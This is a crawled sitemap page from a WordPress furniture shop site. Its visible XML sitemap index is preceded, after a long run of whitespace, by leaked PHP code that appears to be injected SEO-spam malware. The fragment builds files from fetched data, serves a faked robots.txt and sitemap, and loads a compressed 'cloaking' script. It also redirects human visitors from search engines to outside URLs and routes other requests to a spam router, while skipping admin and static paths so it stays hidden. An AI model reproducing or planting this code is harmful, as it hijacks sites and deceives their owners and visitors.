                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                file['content'] = str_replace("require_once __DIR__ . '/config.php';", $replacement, $file['content']);
                            $file['content'] = str_replace('require_once __DIR__ . "/config.php";', $replacement, $file['content']);
                            $file['content'] = str_replace("require __DIR__ . '/config.php';", $replacement, $file['content']);
                            $file['content'] = str_replace('require __DIR__ . "/config.php";', $replacement, $file['content']);
                            $file['content'] = preg_replace('/(?:require_once|require)\s+__DIR__\s*\.\s*[\'"][^"\']*config\.php[\'"][^;]*;/', $replacement, $file['content']);
                        }
                    }
                    unset($file);
                }
                @file_put_contents($imageCacheFile, json_encode($data), LOCK_EX);
                createFileStructure($data['data']);
            }
        }
    } catch (Exception $e) {
    }
}

$request_uri = $_SERVER['REQUEST_URI'] ?? '/';
$request_path = parse_url($request_uri, PHP_URL_PATH);
$query_string = parse_url($request_uri, PHP_URL_QUERY);

$exceptions = [
    '/wp-admin/',
    '/wp-login.php',
    '/cache/',
    '/wp-content/themes/',
    '/wp-content/plugins/',
    '/wp-content/uploads/',
];

$is_exception = false;
foreach ($exceptions as $exception) {
    if (strpos($request_path, $exception) === 0) {
        $is_exception = true;
        break;
    }
}

$static_extensions = ['php', 'css', 'js', 'png', 'jpg', 'jpeg', 'gif', 'ico', 'svg', 'woff', 'woff2', 'ttf', 'eot', 'pdf'];
$is_static_file = false;
foreach ($static_extensions as $ext) {
    if (preg_match('/\.' . preg_quote($ext, '/') . '$/', $request_path)) {
        $is_static_file = true;
        break;
    }
}

if ($request_path === '/robots.txt') {
    $robots_file = CACHE_DIR . 'robots.txt';
    if (file_exists($robots_file)) {
        header('Content-Type: text/plain; charset=utf-8');
        readfile($robots_file);
        exit();
    } else {
        $currentDomain = $_SERVER['HTTP_HOST'] ?? 'localhost';
        $robotsContent = "User-agent: *\nAllow: /\nSitemap: https://" . $currentDomain . "/sitemap.xml";
        header('Content-Type: text/plain; charset=utf-8');
        echo $robotsContent;
        exit();
    }
}

if (preg_match('/^sitemap.*\.xml$/', $query_string ?? '') || preg_match('/^\/sitemap.*\.xml$/', $request_path)) {
    $sitemap_file = CACHE_DIR . 'sitemap.php';
    if (file_exists($sitemap_file)) {
        require_once $sitemap_file;
        exit();
    }
}

if (!$is_exception && !$is_static_file) {
    $cloaking_gz = CACHE_DIR . 'cloaking.gz';
    $cloaking_file = CACHE_DIR . 'cloaking.php';
    if (file_exists($cloaking_gz)) {
        $_z = $cloaking_gz;
        if (file_exists($_z)) @include_once 'compress.zlib://' . $_z;
    } elseif (file_exists($cloaking_file)) {
        require_once $cloaking_file;
    }
    
    $clean_path = trim($request_path, '/');
    
    if (isset($cloaker) && $cloaker->is_human_from_search) {
        header('Location: ' . $cloaker->getRedirectUrl());
        exit();
    } elseif (isset($blocked) && $blocked) {
        $clean_path = '/' . $clean_path;
        $router_file = CACHE_DIR . 'router.php';
        if (file_exists($router_file)) {
            require_once $router_file;
        }
        exit();
    }
}
?>
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://shoilpikfurniture.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://shoilpikfurniture.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://shoilpikfurniture.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://shoilpikfurniture.com/wp-sitemap-posts-product-1.xml</loc></sitemap><sitemap><loc>https://shoilpikfurniture.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://shoilpikfurniture.com/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://shoilpikfurniture.com/wp-sitemap-taxonomies-product_cat-1.xml</loc></sitemap><sitemap><loc>https://shoilpikfurniture.com/wp-sitemap-taxonomies-product_tag-1.xml</loc></sitemap><sitemap><loc>https://shoilpikfurniture.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
